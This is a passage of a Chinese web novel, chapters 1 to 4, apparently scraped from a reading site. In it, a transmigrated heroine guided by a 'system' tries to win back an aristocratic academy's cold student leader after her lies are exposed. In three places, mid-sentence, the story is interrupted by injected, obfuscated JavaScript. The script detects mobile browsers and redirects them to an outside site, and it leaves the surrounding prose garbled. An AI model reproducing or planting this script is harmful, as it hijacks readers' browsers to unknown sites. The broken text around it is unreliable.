《贵族学院海王校花》 1. 第 1 章 1. “安蔓。” 安蔓睁开眼,发现自己仰躺在沙发上,穿着裸色的缎面开衩吊带礼裙,莹润的珍珠项链贴在雪白丰腴的胸口,钻石耳坠晃动着,高跟鞋悬空在地面。 一只手掐住了她的下巴,让她被迫抬起头,直视天花板上拱形的黄铜吊灯。 灯光眩目而耀眼,安蔓眯起眼睛,在一瞬的晕眩后,试图看清手主人的脸。 此人黑发绿眼,有一张十分英俊的脸,翡翠色的绿眼睛充满了异域风情,漆黑的发色如同无星的夜空。笔挺的制服贴合出落拓高大的身形,黑色硬底皮靴踏在光滑的大理石地面。 英挺锋锐,神态怠慢,有种冷峻的傲慢。 “你有五分钟的解释时间。”他掐着她的下巴说。 安蔓试图迅速弄清现状,打量四周。 这是一个灰冷色调的空间,旁边摆着书桌、软椅、红木书柜、茶几和鎏金茶具,在灯光下闪耀出昂贵而美丽的质地。 这是一个奢侈陌生的休息室而不是拷问台。 但这不妨碍这个男人捏着她的下巴,用看死人的表情看她,绿松石一样的眼睛冰的让人心惊。 【叮—— 欢迎来到《德川高校的秘密恋情》,宿主安蔓,请您尽快接收信息,度过危机。】 【初始任务正在发布……】 安蔓是个遵纪守法的好人,上辈子重病离世,系统说只要她完成任务,就能获得第二次生命。 这是一个贵族学院复仇文世界,贫穷坚毅的女主,以资优生第一的成绩,考入首都旬利的德川大学,调查父亲的入狱真相,报复仇人。 原主,是故事里的漂亮反派。 表面上,原主是德川大公认的校花,拥有漂亮到令人窒息的外貌,富贵的家世,极其优越的审美,在德川中有着数不清的爱慕者和拥护者。她的穿衣风格曾经多次上过旬利的时装日报,被无数人跟风模仿。她还有个人的粉丝站,上面每天有人更新私家照和穿搭。 而实际,她是个骗子,家里并不富裕,所有奢侈品都是花钱租借来的。 原主编造出一个华丽的人设,以此四处狩猎,无往不利,身边追随者如云。但是她很注重名声,没有接受任何人的邀请,而是主动筛选猎物,最终盯上了站在金字塔顶尖的几位男主。费尽心思和他们成为朋友。 在她想要更进一步的时候,遭到了人生的滑铁卢—— 她的骗子身份,被女主揭穿了! 现在,就是原主第一个翻车现场——获知原主真实身份,发现自己受到欺骗的男二找到原主,质问她。 【任务一发布:退学危机。】 【任务描述:请打动江赫,解决退学危机。】 安蔓轻轻地舒展身体,大脑飞速转动。 任务的主要内容来源于原主的心愿,主要有两点: 一、解决身份危机,攻略男主一二三四。 让这群看不起她的恶毒天龙人,给她跪下当狗。 二、接着,在攻略成功后——抛弃他们。 一切的前提是——度过当下的危机。 “非常抱歉!” 背景接受完毕,安蔓眨了眨眼果断道歉。 她的心跳的很快,发出强有力的“砰、砰”跳动声,思考如何面对当前危机。 原主的翻车点是,“欺骗。” 原主捏了一个家境优越,美丽善良,成绩优异的强者人设去接近男二,和他竞争第一,成了朋友。 现在,原主人设崩塌,从强者变成了骗子。 “其实我是有原因的。”她大脑飞速旋转,眼睛挤出了一点泪水,手指覆上按着自己下巴的手。 戴着手套的手触碰她温热的皮肤。隔着一层皮料,仍然让人觉得轻微哆嗦。 考虑到穿越前一秒,原主的动作是去触碰对方。 然后才被人掐着下巴,按在沙发上动弹不得。 她就觉得对方其实更想掐着她的脖子。 果然,一碰回去,那只手就厌恶地放开了。 手主人冷淡地俯视她。 眼前这个,就是小说的男二。 德川大作为旬利有名的贵族学校,坐落于距离市政厅一小时车程的郊区。它象征着权势、利益、追逐。是一个小型的斗兽场。 能从中顺利毕业的,无疑是各行各业的佼佼者,从中诞生的政治家、军事家、科学家数不胜数。 而这位,是一句话就能把原主从德川大赶走的顶级天龙人。 冷漠高傲,痛恨欺骗,厌恶失控,追求完美。是一根富有英俊的高枝。 ——而原主完美踩中“欺骗”。 “……我做这一切都是为了引起你的注意。” 安蔓穿着裸色的缎面长裙,茶褐色卷发,清纯淡妆,瞳孔颜色很淡,皮肤雪白,清纯的犹如白色山茶花。 原主穿的很薄,室内没有开暖气,身体在激动过后体温流失。 安蔓微微发冷,从对方的瞳孔里看到自己瑟缩的样子,尽量换了一个舒服一点的姿势,开始编故事。 她深情款款,泪眼真挚—— “其实,这不是我们第一次面。在很早之前,我们就见过一面。当时是你的成人礼,你站在人群中,天之骄子,难以靠近。” “当时站在你旁边的女生那么优秀富有,让人羡慕,所以我不想告诉你……我家里的事。” 安蔓上辈子考过跳过伞,开过飞机,考过群演证,还是第一次当清纯美丽的漂亮反派。 她眨了眨眼,想起自己后来是如何卧病在床上,躺了两年,悲惨无比,眼泪不需要酝酿就落了下来。 “其实我……父母很早就去世了!我从高中开始打工,你就像是梦一样,遥不可及,我只想再靠近你一点不敢奢求更多。” “你说我一切都是假的没错,我的包是假的,我的衣服是租来的,整个一切都是一个巨大的谎言。只有我的对待你的心是真诚的。” 安蔓哭的深情又漂亮,美丽又柔弱,宛如风雨中飘摇的小白花。 声音如泣如诉,表情梨花带雨,足以打动任何有正常同情心的人。 但好感提示音迟迟未动,任务也没有任何完成的迹象。 她一边哭,一边用余光去瞥江赫。 一看,身体的冷意仿佛蔓延到心口。 这位少爷微微倚在书桌上,手上戴了一双黑色的皮质手套,随意拨弄着桌上的银色钢笔,脸上没有任何表情,只是,在安蔓看过来的时候微微侧身,绿眼睛看了过去,脸上有种无聊的漠然。 他身材高大,体型足足比她高大了一圈,一动起来,投射到地上的浓黑影子就在灯光下压了过来,将她铺天盖地按住。 那双绿色的眼睛还在看着她,毫无波动。像是对于这个贫穷坚韧的白月光新人设进行评估。 “还有呢。” 安蔓呼吸微微急促了一点。 他不吃这套……而且,正在失去耐心。 该死的有钱人,原主只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855461|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是骗骗感情罢了,又没骗钱,太小心眼了。 安蔓的眼泪漂亮柔弱地滑落,一滴滴落在胸口,湿了一片布料,她哭着哭着感觉有点哭不出来,赶紧用手捂住脸,又换了一个人设。 “但我从来……没有放弃学习!我爱学习!特别热爱!这是我从小到大最坚定的一件事,不管是以前还是现在,一切都是假的,但唯有我的成绩是真的!骗了你我很抱歉,如果说你觉得生气,我可以主动退学,我愿意为了你放弃我最宝贵的学业,希望这样可以平息你的愤怒。” 她哀哀切切地哭诉,回应她的只有一片死寂。 渐渐的,连她的声音也低了下来,垂着眼睛等待答复。 休息室里静的惊人,只剩下了轻微的呼吸声和心跳强有力的“砰、砰”。 “啪。” 不远处的垃圾桶响了一声。 一只银色的钢笔在垃圾桶里打转。 安蔓抬起眼睛,轻轻呼吸。 江赫刚才扔掉了那支钢笔。 那钢笔设计精致,笔身流畅,看着价值不菲。 她原来以为那是他自己的东西,现在看起来和原主也有点关系。甚至可能是原主送他的礼物 “拙劣的谎言。” 江赫扔掉了钢笔,垂下眼睛,慢条斯理地脱下手中的两只手套,扔到地上,向门外走去。 他的影子随着动作流动,声音清晰而缓慢。 经过安蔓身边时,坚硬的皮靴碾过手套,“五分钟结束了。” “从现在开始,禁止出现在我的视野。” 他转身走了。门关上了。 【任务一:退学危机。】 【状态:未完成。】 【江赫好感度:-5。】 系统直到现在才开口:“宿主,这具身体的父母还没死呢!你的方法根本不对,” 这个休息室大概是江赫的私人休息室,低调奢华,缺乏生活气息,个人物品少。 书桌摆着专业书,还有厚厚的《德川哲学史》《伦理学导论》《经济概论》。 安蔓在地上发现了一部掉落的白色手机,样式与周围格格不入,应该是属于原主的东西,随手捡起说:“我知道,编编瞎话罢了。” 系统:“成绩也是买的。” 安蔓:“……” 系统:“项链耳坠和礼服都是租的,要在两天内还回去,弄脏了要原价赔偿。” 安蔓:“……” 系统:“你的方法好像没用,他不吃小白花和坚韧少女这套。请恕我提醒你,宿主,你除了要搞定男主一二三四之外还要解决舆论问题。 如果今天之内没有解决身份撒谎这件事,你会被退学,也将视作任务失败。” 安蔓捡起手机,沉思一会。 她复盘了一下刚才的场景,认为自己已经足够努力,肢体语言表情充沛到位,泪眼漂亮又悲哀,完全没有漏洞,“太难了吧,那个死装男到底哪里不满意。” 系统大声说:“再难也要完成,任务一时限是今天,你知道现在几点了吗!” 安蔓点开屏幕,手机设置了人脸识别,在她划开时自动解锁,时间显示在上方。 正好8点整。 “知道八点你还不快点,错过了刚刚那个最好的时机,你现在只能跟时间赛跑了。要知道……” 系统声音忽然低沉下来。 电子音冰冰凉凉,充满着非人的冷漠感,“四个小时后,如果不能完成任务,你就要死了。” 2. 第 2 章 2. 任务是没有处罚的。 但失败后,系统会被视为不合格品,回炉重造。 而安蔓,会被送回原来的身体里。 可她在另一个世界的身体,已经病入膏肓,奄奄一息。 安蔓曾经透过镜子,看过自己当时的模样—— 瘦弱的女生躺在病床上,脸像是抽干了所有的血液,几乎与身下的床单一个颜色。漆黑的眼睛,皮肤白的近乎透明,纤细的手指软软的搭在被子上,神色漠然,有一种漂亮的让人惊心动魄的残破感。 看起来既柔弱,又无助。 安蔓那时以为,自己再也不可能有比那更悲惨的时刻。 ——然后她绑定了系统,靠着超级霉运,抽出了《德川高校的秘密恋情》这个烂的惊天动地的超s世界。 系统冷漠的声音没有维持过三秒,立刻崩塌:“现在开始我给你倒计时,你赶紧完成这个任务,我不想和你一起完蛋啊!” “你以为我很想吗!” 四个小时,基本是和时间赛跑。 安蔓完全不想自己光辉璀璨的人生再次终结,快速打开手机,收集资料:“知道了。” 她握着手机,痛定思痛,反省了一下自己刚刚的失败原因。 总而言之一句话,她还不够了解江赫。 ——哪有不背调就去攻略npc的! 皮质沙发很软,但表皮冰凉,提供不了任何温度。整个休息室的氛围也很冷淡,棱角锋利,就和它的主人一样不近人情。 安蔓靠着沙发,尽量在上面汲取一丝温暖,飞快地扫视手机。 备忘录十分干净,充分体现了海王的优秀素养,可惜对她不太友好。找来找去也只有一些课程信息。 相册里面的东西多一点,大部分是派对照,学校照,和班级人员以及路人的合照。里面形形色色的人脸很多,但没有一位属于江赫。 安蔓又打开了名为Tel的聊天软件,这是旬利的通用聊天软件,这里面的信息倒是多了一点,一个个整整齐齐的列着名字,属于江赫的还标注了星号。 打了星号的,还有备注名为“崔明朗”,以及“大韶”“小韶”的账号,应该是属于剩下三位男主。 聊天记录都是空白。 她试探性地给江赫发了一句话,手机的对面跳出好友未添加,消息发送失败。 显而易见,原主被拉黑了。 今天是德川新年晚会,是社交和攀附关系的绝佳场所。基本上所有的学生,都精心打扮。出席参加。大部分人为了避免孤身,都会提前约好舞伴。 原主则不同,她的人设漂亮富裕,不缺追求者,而且目标远大,瞄准了可能出席的四大男主,精心打扮了一番,以最美丽的姿态出场。 而和她有仇的女主,当然不会这么放过她。女主在她最为美丽、惊艳、愉悦的时刻,告诉了江赫她是个骗子。 在这之后,复仇文女主的报复还没完,她要所有人知道原主的真面目。 所以按照原剧情,接下来会有两个发展: 1.原主的骗子身份,将会被女主发到论坛上,引起轩然大波。 作为一个颇有名气,粉丝众多的骗子校花,她既拥有单独的粉丝站,也有众多钓入鱼塘的鱼儿。 一旦身份揭穿,攻守转换,她会成为一个绝佳的猎物! 2.事情不断发展,江赫会让人调查原主,然后从中调查出更多东西,最终导致原主退学。 系统:“倒计时三个小时五十分钟。” 安蔓深深地吸了一口气,有了一丝紧迫感。 她不知道帖子具体发出去的时间,只能跟时间赛跑,希望能在事情扩散前解决掉。于是站起来,向外走去,准备走出休息室。 . 打开门,却看见外面站着一个栗色卷发的女生,她的脸蛋可爱,表情却格外烦躁。 看见她就怒气冲冲地走过来大吼,“你到底怎么回,怎么敢招惹江赫的,不要命了!” “我怎么不要命了。” “你自己想死就去死啊,不要连累我!”女生怒气冲冲,她脸的脸蛋偏圆,口红很艳,满脸怒火。 安蔓翻了下剧情,这是原主关系最好的朋友。 原主今天参加新年晚会,打扮精致,却在宴会上被江赫叫走。 如今江赫走了,这个朋友却一直等待着,表情微妙地瞪人,很有几分咬牙切齿。 “我到底做了什么?”剧情里关于原主具体是怎么脚踏多船的,没写出来。 安蔓按住咚咚乱跳的心脏,勉强保持平静。 “你做了什么自己心里不知道吗?” “当初天天去图书馆蹲点级长的是谁,你还贿赂他手下想买级长的日程,从垒球课追到了赛马场,报了同一门哲学课,还想在国际考试上跟他争第一吸引他的注意!你刚刚在校园舞会被他叫走所有人都看到了,每个人都知道了。而且……” 栗色短发的女孩脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855462|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涨红,说着说着说不下去了,愤怒地将手机一把塞到她的手里,“你自己看!” 安蔓接过手机,上面是德川大的校内论坛,赫然显示一个回复破百的hot帖子,标题鲜红。 【大瓜,知名校花背后身世居然造假!速来,大美女背后原来是这么丑恶的面容】 【我也不点名谁了,懂的都懂。接到匿名消息,原来著名爱炫富的校花根本不是有钱人!表面上天天大手大脚地花钱还买各种大牌包和名牌首饰,实际上要么是假货,要么是租借的!不是,你要是个穷人坦坦荡荡说出来就行了,搞这种把我们当傻子骗了呢!有多少被骗到的在下面举个手。】 【早就想说了,这个校花仗着自己的美貌四处留情,不主动不拒绝,鱼塘里的鱼儿德川湖都塞不下了吧!】 【哈哈,我知道,如果你主动跟她告白,她会很惊讶地道歉,“我以为我们只是朋友,对不起……”】 【校花?笑话!】 【真的假的?你小心被告造谣,这可不是什么可以乱说的事。】 【她不是还是级长的朋友吗,而且人挺好的,长得特别漂亮,上次学校的新生会还见她来帮忙了。没有证据别瞎说。】 【自己看呗,粉丝站都被惊动了,表示如果她真的是个骗子当场转型为黑粉站。】 【保真,我刚刚看到级长把她喊走了,众所周知,他是最厌恶骗子,要是真这样不得给她刮掉一层皮。】 【其实之前特招生那件事我就觉得不对了,不过当时不敢说。】 【我认识她,家里是个开超市的,我们上同一个初中,真纳闷,你们居然会被骗这么久。】 【又漂亮,又聪明,还是个虚荣心强的骗子,风纪会那群喜欢狩猎的神经病看到这个帖子不是又要兴奋了。】 【有没有人通知风纪会一下?】 【早就有人通知,不过在等结果罢了。】 【一群傻子,等级长出来不就知道结果了。】 【没有人敢骗他,除非自己找死。】 “骗子!你最不知道你干了什么,你完蛋了还要连累我!所有人都知道我是你最好的朋友!” 女孩焦虑地走来走去,“你到底知不知道江赫是什么人?” 安蔓深深地吸进一口气,最糟糕的情况出现了。 她手一滑,页面滑到最底自动刷新,两条最新回复跳了出来。 【级长出来了,脸色很不好。】 【她死定了。】 3. 第 3 章 3. 德川占地极广,有宽阔的草坪,漆黑的土壤,修剪整齐的翠绿漳树,和深红色的荆棘灌木丛。 巍峨耸立的古堡,白墙红瓦的塔楼,以及描金涂漆的瑰丽浮雕,共同构成一个极为典型老派的贵族高校形象。 旬利实行夏令时,现在是晚上九点。 夜幕降临,璀璨的明灯将古堡变成了星光的海洋,玫瑰色的夜风将彩带卷起。 安蔓走进舞会大厅,旁边跟着栗色短发的女孩。 两人一出现,所有人就唰地将目光投了过来。 “别露怯,这里消息传播得很快。” 栗发女孩紧紧跟在她身边,声音像是从牙缝里挤出来,“是你说有解决办法我才带你来的。” 安蔓压低声音:“感恩,所以江赫现在在哪。” 女生:“不准直呼其名!你想死吗,旁边都是人!所有级长都会在新年舞会出现,应该就在附近。” 安蔓把这句话加入新增常识。 女生:“学生会的人都聚集在那里,我们过去问问。” 在一片华冠丽服里,学生会整齐划一的服装十分显眼。 安蔓又说了一遍谢谢,只收获一枚怒视。两人朝那个方向移动,却没走两步就被拦下,一对男女从人群中走出。 男生穿着正装,长相稍微有点抱歉:“好久不见,猜猜今天谁会倒霉?” 安蔓不忍心直视他的脸,移开目光客气道,“请问有什么事吗?” “有倒是有。”女生穿着礼裙,笑嘻嘻地开口,“他们都不好意思出面,所以委托我们来问一下,安蔓你看论坛了吧,那个帖子里说的到底是真是假?” “我很想回答你,但我现在赶时间。” “别装傻呀,这样就不好玩了,不敢正面回应吗?”女生亲昵说,“这么急匆匆的干什么,有什么事要做,方便说说吗,我们可以陪你一起做,顺便好好聊聊。” 男生双手抱胸,挡住前方的去路,“这是被拆穿了就不装了?我还以为你有多清高,结果还是想找借口逃跑啊。有人说你爸爸是开便利店的,而你妈妈是个家庭主妇。根本不是你从前编的那样!” 德川是一个呈现金字塔分布的小社会,阶层分明,最底下是免费入学不讲究背景的资优生,然后是个体户、工厂主等,接着才是运动员、律师、教授、议员、资本家等等成员的子女。金字塔尖那极少的一撮人,则是天龙人中的天龙人,权贵之上的权贵。 层层分明,不容逾越。 这里是原始的斗牛场,也是属于猎手们的狩猎场。而原主属于倒数第二层,骗取了不属于自己的待遇,还想着向上攀登,于是嗅到风向的捕手,派来两个人来此试探她。 一旦她表现不对,就会从现有阶层跌落,甚至更惨—— 安蔓冷淡说:“我去找江级长,你们要跟就跟吧。” 然后拉着原主朋友走了,走了几分钟回头一看,那两人果然还在原地面面相觑,不知道该不该跟上来。 天龙人也是分等级的,江赫就是那种金字塔顶端的人物,天龙人中的天龙人。江家垄断是旬利的几大姓之一,他本人也出生在著名财团,从小是天之骄子,而且性格冷漠严苛。 虽然也曾有过他身世不明的传闻,但无人敢提。 这种情况还不明晰的时候,更没有人敢去触他霉头。 但也意味着一旦他进行表态,情况会迅速恶化。 任务时间是今晚,也就是说,最好改变现状的时机只有今晚。 系统恰时出声:“距离十二点还有两个半小时。” 安蔓脚步不停。 这意味着她剩下的时间不多了。 她还有两个半小时,去阻止自己被退学。 . 可惜接下来的时间里,大概是运气不好,她们一直没找到人。 栗发女孩急得团团转,引来了周围的大片异样目光,和窸窸窣窣的讨论。 “真没想到她是这样的人……” “品行不端……居心叵测……报告风纪会……” “这种人也能在德川上学,简直荒谬至极,是谁通过的她的申请,没有审查吗?!” “嘘,安静点,讲话要开始了。”有人小声提醒,议论声渐渐小了下来。 “新春佳节,辞旧迎新……” 每年的新年舞会都有不同的院长发言,今年轮到了哲学系。 一个身着黑袍,满身书卷气的教授走上台,开始对即将到来的新年致辞。彩灯亮起,音乐暂停,所有人安静下来,一齐聆听新年的最后时刻。 “终于来了!”旁边传来一声轻呼。 安蔓抬头,看到男主二号。 他站在台边,笔挺的制服,金边眼镜,手里拿着一本翻开的书。细长的链子垂在脸侧,胸口别着一只玫瑰,显得冷峻又傲慢。 安蔓刚刚拉着原主的朋友,根据原著和江少爷粉丝会的资料,进行了紧急补课。江赫主学哲学与经济,哲学院的院长是他导师。 这个人性格如何,姑且不论,至少他十分尊重秩序,对导师至少有表面上的尊敬。 就像此刻,他抬头聆听哲学院院长的新年致辞,以示尊重。 院长发言幽默,一段话中加了好几个笑话,引得在场学生轻笑出声,纷纷鼓掌,最后利落收尾:“……过去的不必再介怀,眼前就是崭新未来。新年的钟声即将敲响,希望大家共同欢度这个时刻!” “级长要走了,你快去。” 安蔓被栗发女孩推了一把,看到江赫和下台的院长说了几句话,转身准备离开,连忙快步跟上去,“级长,我有话跟你说。” “我保证,这是最后一次,真的。” 安蔓迅速的将想好的借口说出,面不改色跟在他们旁边,暗示道,“非常非常重要的事。涉及某个你可能想知道的问题……” 江赫没有回应,反倒他身边的人笑了起来,漆黑的眼睛微微泛着光,转过头看了安蔓一眼,“阿赫,是你的风流债呢。” “韶景戈,闭嘴。” “快去吧,这样当众找你,也是费了很大的勇气的。” 被叫做韶景戈的青年笑了起来,他皮肤极白,带着一种金尊玉贵的气质,“……而且,你不是确实有一个想知道的问题吗?” 原著里提到江赫一直在追索一个问题,身边只有极为亲近的人才知道这点。不过具体是什么问题,书里没有点明。 安蔓附和道,“就是就是。” 江赫没有理他,停住脚步,目光缓慢地在安蔓脸上扫过。 那视线不比月光温暖多少,宛如盘旋的绿蛇从肌肤上缓慢爬过。 安蔓的皮肤应激地炸起一圈的鸡皮疙瘩。但她没有动,隔空坚强地和他对视。他说:“跟我来。” 江赫地看着她,抬手示意身边人离开,随后走向一边尽头的休息室,安蔓自动跟上,然后半掩上门。 门上挂着一个镶金的铭牌,上面嵌了一个金灿灿的“崔”,室内风格和江赫的截然不同,充满了生活气息。室内开了一半的灯,昂贵的真皮沙发歪歪地靠着墙,上面放着曲棍球和一件球衣,球衣上签了一串英文名,旁边是一本摊开的杂志。 不等安蔓仔细观察,前方的江赫突然停下,让她差点撞了上去。 室内只开了一半灯,他站在阴影里,把书放在沙发上,转头看着她,细长的眼镜链垂在脸侧,显得森冷又优雅。 他隔着眼镜,绿眼睛像蛇一样缠住她,声音近乎轻柔,“你最好祈祷这件事足够重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855463|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 安蔓发现这本小说的男主,即使是男主二号也颇具一番姿色。 那种冷淡中隐隐透露出来的性感,让他极具压迫感的视线也变得迷人起来。 “哇呜!”安蔓觉得自己在打一个失败就结束的高难度游戏,攻略对象是个英俊冷感的帅哥。 他很帅!但是他不能让她游戏失败! 安蔓挺直了腰,大声开口:“其实,我是来再次跟你道歉的,我思来想去也觉得自己行为很不妥。我欺骗了你,欺骗了所有人,辜负了你们的信任。我——就是一个恶毒的女人!” “你想说的只有这个?” 系统:“还剩五分钟。” “当然不是!” 安蔓激情澎湃,“我想说我喜欢你,还有我不后悔!因为不这样,我就没有机会跟你成为朋友,真的很开心这段时间跟你的相处。可惜我马上要被退学了,我是来和你告别的。” 江赫的眼睛轻轻眯了起来,瞳色在灯光下变得更深了,绿得近乎流淌毒汁。 每说一字,安蔓心脏就跳快一节,“这是,‘我想知道的事’?” 安蔓:“是呀,你难道不想知道我骗你的原因吗?” 系统:“还剩三分钟!” 没时间了,这个策略不行。 必须用其它方法。 安蔓开始深呼吸。 她的心脏疯狂地跳动起来,理智阻止她做下决定,但大脑仍然平静地和系统说,“帮我监测一下江赫的好感,我要做一件事。” 一本标准的贵族学院文里,男主往往都拥有显赫的家世,英俊的容貌,和各方面顶级的配件。除了一点,他们中可能会有点不为人道的小缺陷—— 江赫就是这种存在,他的各方面都十分优越,唯独有一点,他有轻微洁癖,爱干净,极其厌别人靠近他。书里还提到过他曾经整治过,不知死活想要攀关系主动揽肩膀的人。 就连女主和他成为了朋友后,最亲密的一次接触,也是隔着手套握了一下手。 而这是今天午夜之前,两个人最后单独相处的机会。 ——也是唯一完成任务的机会。 “你不相信我喜欢你,这是我的错。我会证明给你看。”安蔓说。 系统:“还剩一分钟!你要做什么!” “有病去治。”江赫伸手捂住头,漆黑的发丝垂落下来,让他的脸陷入一片阴翳。他像是失去了所有对话的欲望,不再看她,转身就走。 系统:“三十秒!” 做死。安蔓在心里默念。 她看着江赫,在他经过身边的时候,突然上前一步。 扯着他的领带,迫使他弯下腰来,在他紧缩的瞳孔中,亲了上去。 砰—— 新年了。 12点烟花盛放。 声浪从远处迭起,狂热喧嚣的氛围和叫喊从舞会席卷到学校的每个角落。 安蔓闻到淡淡的男士香水味,不知道具体是什么味道,但寒洌逼人,透骨冰凉,如同不化的冰川。 他制服上铜制纽扣硌着她的胸口的珍珠项链,蓝宝石袖扣压着她的小臂,形状圆润,在白皙柔嫩的皮肤地陷了进去,冰得令人轻微战栗。 江赫冷冰冰的绿眼睛充满了错愕,他僵在原地,没有抗拒,反而下意识扣着她的腰,一时间不知道是在推远还是拉近。 他的长相是那种充满冷峻的面容,眼角眉梢没有一丝圆融妥协之处,皮肤白而细腻,大概还有萨拉昂夫的血统,五官的轮廓充满了异域风情,冰冷却不让人感到薄情。嘴唇的形状却饱满而狭长,简而言之就是还算好亲。 江赫的脑袋嗡的一声宕机了。 他僵硬地扣着她的腰,力气大的简直要掐碎她,“你找死——” 4. 第 4 章 4. 【江赫当前好感:-10。】 【江赫当前好感:-30。】 【江赫当前好感:-50。】 室内一片死寂。 周围安静的吓人,只有系统猛烈闪烁的红灯和好感下降的警报声。 好几分钟过去了,休息室静可落针,一切仿佛凝固了,只有窗外轻微的鸟叫和彼此清晰的呼吸。 而且对方……不知道什么时候开始,正直勾勾地盯着她。 江赫的嘴唇很红,漆黑如墨的发丝垂落在额头,露出翡翠般的绿眼睛,很美,却让人有种毛骨悚然的危险感。 咯咯—— 安蔓还是以为是什么东西摔碎的声音。后面发现,声音来源于江赫的手心。 被他摘下的眼镜,在他的手中,正在以一种夸张的弧度扭曲起来—— 安蔓的心跳的格外快!呼吸不知不觉急促起来,空气不知为何忽然变得又湿又热,浓稠混沌。 她一感觉攥着自己腰的手放开,就赶紧退后一步,保持安全距离,直到后腰碰到桌面才停下,勉强缓和呼吸。 她开始以为是空调开了,然后发觉体温上升的只有自己,某种毛骨悚然的感觉顺着尾椎上窜。 系统闪烁的红灯不知不觉和心跳变得同一频率,尖锐的警报声不断变大,越来越大,越来越大,到了某一个瞬间如同绷紧到极致一样忽然断裂—— 【江赫当天好感度:—100。】 最新的好感度跳了出来。 好感度刷新的下一刻,系统忽然发出警笛一样刺耳的尖锐警报! 系统尖叫起来:“你快跑啊!他是真的会掐死你!” . 安蔓扭头就跑!她踉跄了一下,不管丢在身后的江赫什么反应,朝着休息室的门跑去,然后顺手关上了门。 外面星光熠熠,凌晨时分,新年的钟声敲响,每个地方都陷入了欢乐的海洋,路面上散着跳舞的学生,还有恋人在灯光下接吻。 安蔓随便选了一个方向向前冲去,准备跑到一个人多的地方,刚刚那种危险的感觉,仍然让她头皮发麻。 她对系统说:“这个死装男脾气太坏了吧。” 而且不是皮手套就是长皮靴,多半沾点s倾向。 上辈子安蔓病重,她在病床上躺了很久。 最严重的时候,甚至无法自主站立,掉光了头发,脸颊深深的凹陷进去,只能整天躺在床上挂水。 缠绵病榻,耗资百万,在病床上度过了一个新春,最终还是回天乏术。 因此对于第二次机会,她格外珍惜,但也很难忍住吐槽。 “不过脸确实好看。”安蔓沉重说,“不愧是s级的任务,太吓人了。” 系统终于反应过来发生了什么事,发出了一声属于机器的尖啸:“你干了什么!” 安蔓一边跑一边喘气:“证明给他看啊。任务一完成了吗。” 任务提示适时而至。 【任务一完成。】 【江赫好感:-100。】 系统发出了一阵乱码声:“不是,任务不是这样的做的。你现在确实不会被退学了!因为之前,他只是想让你消失,现在却是想把你留在眼皮子底下慢慢折磨!” 系统之前发放过任务手册,安蔓仔细看过,总结为六个字。 谨言慎行,别浪。 安蔓:“所以完成了吗?” 系统:“……完成了。但是不该这么完成的。” 系统陷入一片沉默,安蔓不管它了,提着裙摆躲开天空飘下来的细雪。 她看到那个栗发女生在外面探头探脑,一见她猛地吸了一口气,快步走过来,像是确定她十分完好无损,“解决了吗?” 安蔓停了下来,靠在一边喘气,好歹想起这个原主朋友好像是叫栗纯。 比起朋友,其实更像跟班,就是在原主身边负责捧哏吹牛的存在。她是金字塔中位于第三等级的小工厂主的女儿,为提升地位,攀附安蔓这种有钱人的独生女以赚取好处。 谁知道夜路遇上鬼,撞到个赝品。 安蔓:“没有。” “完全相反,我惹毛他了。” 安蔓猛烈呼吸,谨慎观察环境是否足够安全,适合逃跑,同时对她的遭遇表示同情,“你放心,我等会给你发点我的黑料,你明天在网上放点。我保证有很多人愿意和你当朋友挖掘我黑料。” 栗纯似乎想开口问什么,最后回头朝新年舞会的方向看了一眼,谨慎地问:“级长说了什么。” 安蔓摸了摸手臂,夜幕深深,她只穿着一身吊带裙,美丽却十分让人觉得寒冷。 “江赫说我找死。” 栗纯倒吸一口凉气,她抖了一下,深深地闭上眼睛,呼吸一瞬间急促起来,像是受到了难以接受的冲击。 她的胸口猛烈地上下起伏,脸色青青白白。声音猛然爆发,“你完了!你完了!” 她转身就走,大步向前把人远远甩在身后,速度快的像是有鬼在追。 刚跑出来一截,却又像是想到什么突然折返,停在安蔓面前深呼吸,“你保证会给我发你的黑料?” 安蔓不明所以,“我保证。” “明天起来我一定会后悔的……跟我来。” 栗纯的嘴唇抖了一下,咬牙拉着安蔓的手向一边走去,“看在我们过去的情分上我再提醒你一次,赶紧去你宿舍,趁现在他们还没反应过来快点把东西收好,我帮你换个地方。” 安蔓老老实实地跟着她大步快走,回忆关于原文关于宿舍的情报。 根据等级和贡献,所有人的住的宿舍略有不同。第一等是金字塔顶尖的那几位,背后的家族每年都会对学校进行巨额捐款,除此之外还要出一笔高额费用。独栋别墅,装修精细,美轮美奂。 